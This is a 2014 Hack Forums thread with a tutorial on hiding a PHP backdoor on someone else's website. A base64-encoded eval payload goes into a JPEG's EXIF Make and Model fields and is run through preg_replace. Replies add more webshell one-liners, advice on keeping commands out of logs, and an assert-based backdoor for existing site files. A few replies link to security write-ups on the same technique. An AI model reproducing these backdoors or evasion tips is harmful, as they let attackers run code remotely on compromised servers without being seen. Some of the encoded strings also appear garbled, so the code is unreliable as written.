

Forum:[Hack Forums](#)

Thread: [\[TUT\]\[Advanced\] Hidden PHP Backdoor \[TUT\]](#)

Natalie Portman - November 29, 2014, 3:24 am

Hey all, thought I'd bring you a tutorial I've been working on today to create a PHP Backdoor which doesn't stand out like a sore thumb.

This is an ADVANCED tutorial, if you're not experienced with PHP then this isn't for you.

Anyway.

So what we're going to be doing is hiding a PHP Backdoor on a system, where it shouldn't be detectable, here's how:

We're going to find an image on the site, it can be any image. Make sure it's a jpeg.

For this tutorial we're going to assume it's called "image.jpg"

Next, you'll want to download exiftool, it's a free CLI exif editor, and upload the file to the site.

Then, we're going to change some of the exif data attached to the image, or create it if it doesn't exist:

We're going to change the exif form "Make" and "Model" to the following:

Code Make: `./.*e`

Model: `eval(base64_decode(X))`

We're going to encode our backdoor with base64, which I'm sure you're all familiar with, do the following:

Take this base code:

Code `if (isset($_POST["var"])) {eval(stripslashes($_POST["var"]));}`

And change var to whatever you want, making sure that you keep the quotes, this is going to be the variable we post to our backdoor. Make sure it is a single word, alphanumeric.

Now take that entire string, for me it looks like this:

Code `if (isset($_POST["door"])) {eval(stripslashes($_POST["door"]));}`

And encode it with Base64. Now replace X in the first string with your Base64 output, mine now looks like this:

Code

`eval(base64_decode(aWYgKGZlc2V0KCRfUE9TVFsiYmFja2QwMHliXSkpIHtldmFsKHN0cmIwc2xhc2hlcygkX1BPU1RbImJhY2tkMDByIl0pKTt9))`

Note. Yours WILL look different, depending on what you assigned var to.

So now that we've created our backdoor executor, execute the following commands using exiftool

Code `-make="./.*e" -model="eval(base64_decode(X)) image.jpg`

Now, we need to create our PHP file, it's going to be totally harmless so that it doesn't get detected by antivirus software.

Obviously replace /path/to/ with the actual location of the image, and image.jpg with the actual name of the image.

```
Code <?php
$data = exif_read_data('/path/to/image.jpg');
preg_replace($data['Make'],$data['Model'],");
?>
```

Save this as door.php.

Following the above, you're going to upload door.php to a location of your choice, making sure that this location is accessible with an internet browser. I.e. don't put it in the same directory as public_html or a higher directory.

And there you go.

I'm not going to spoonfeed you and tell you how to use this backdoor, however, if as I said at the beginning of the tutorial, you are familiar with PHP then you will understand exactly what we've done here, and how to exploit the vulnerability we've created.

Good luck!

ExplodingKnees - November 29, 2014, 4:01 am

This is rather creative. Advanced? I don't think so, but then again that's entirely objectionable.

Natalie Portman - November 29, 2014, 4:17 am

(Nov 29, 2014 05:01 AM)ExplodingKnees Wrote: [\[CITE\]](#) This is rather creative. Advanced? I don't think so, but then again that's entirely objectionable.

It's not advanced objectively speaking, but it's advanced for HF :P

SIM-1073426 - November 29, 2014, 6:39 am

Neat, you seem to play around with Exif data a lot :P

Natalie Portman - November 30, 2014, 6:25 pm

(Nov 29, 2014 07:39 AM)Sons of Anarchy ?????????? Wrote: [\[CITE\]](#) Neat, you seem to play around with Exif data a lot :P

Just started recently, enjoying it so far :P

EPIXIA???? - November 30, 2014, 7:00 pm

Nice nice, this won't work in php 5.5.x+ though

Soulo - November 30, 2014, 7:25 pm

hackforums.net/showthread.php?tid=4200228

133720 - December 1, 2014, 6:03 pm

Thanks for explain bro and i want to learn more :D.

How bout using your brain - December 2, 2014, 12:45 am

You could also just do:

Code `$_=$_GET;@$_[a]($_[b]);or`

Code `extract($_GET);@$a($b);`and just use a cookies or a custom header instead of `$_GET` so that

it doesn't show up in logs.

Abdilo - December 2, 2014, 2:05 am

Nice idea, i just personally backdoor original php files in the site.
OP someone should audit gallery v2, like now, i want your nudes.

w34k - December 3, 2014, 4:31 am

(Nov 29, 2014 07:39 AM)Sons of Anarchy ?????????? Wrote: [\[CITE\]](#) Neat, you seem to play around with Exif data a lot :P

This is actually pretty old and won't always work.

(Nov 30, 2014 08:25 PM)Soulo Wrote: [\[CITE\]](#) hackforums.net/showthread.php?tid=4200228
Lol, right. Isn't anyone original anymore ? Tons of these TUTs just by searching.

<http://whitefirdesign.com/blog/2014/07/07/hackers-hiding-malicious-code-in-exif-data-of-images>

<http://php.webtutor.pl/en/2011/05/13/php-code-injection-a-simple-virus-written-in-php-and-carried-in-a-jpeg-image>

<http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html>

?

xfitz54 - December 3, 2014, 4:26 pm

I'll have to play around with this, thanks for the share

BeggFoMercy - December 3, 2014, 4:43 pm

Wrote something similar : <https://hackforums.net/showthread.php?tid=3702606>

Crossover - December 3, 2014, 8:10 pm

(Dec 2, 2014 01:45 AM)SirRootALot Wrote: [\[CITE\]](#) You could also just do:

Code `$_=$_GET;@$_[a]($_[b]);`or

Code `extract($_GET);@$_a($_b);`and just use a cookies or a custom header instead of `$_GET` so that it doesn't show up in logs.

I tend to use `$_REQUEST` so I can use either, but I prefer using post data as hardly anybody actually logs it, they'll just see it as you're visiting X page & they won't see a blinding URL like `?cmd=ls -la`, because there's no bigger give away ???

If you create a file reading an images exif data that's pretty damn obvious, why not just backdoor a current file using something like

Code `die(assert(base64_decode('ZXZhbkCgkX1JFUVVVFU1RbJzlnXSk7')));`

b34x7 - December 4, 2014, 10:57 am

Nice method. Thanks for the share OP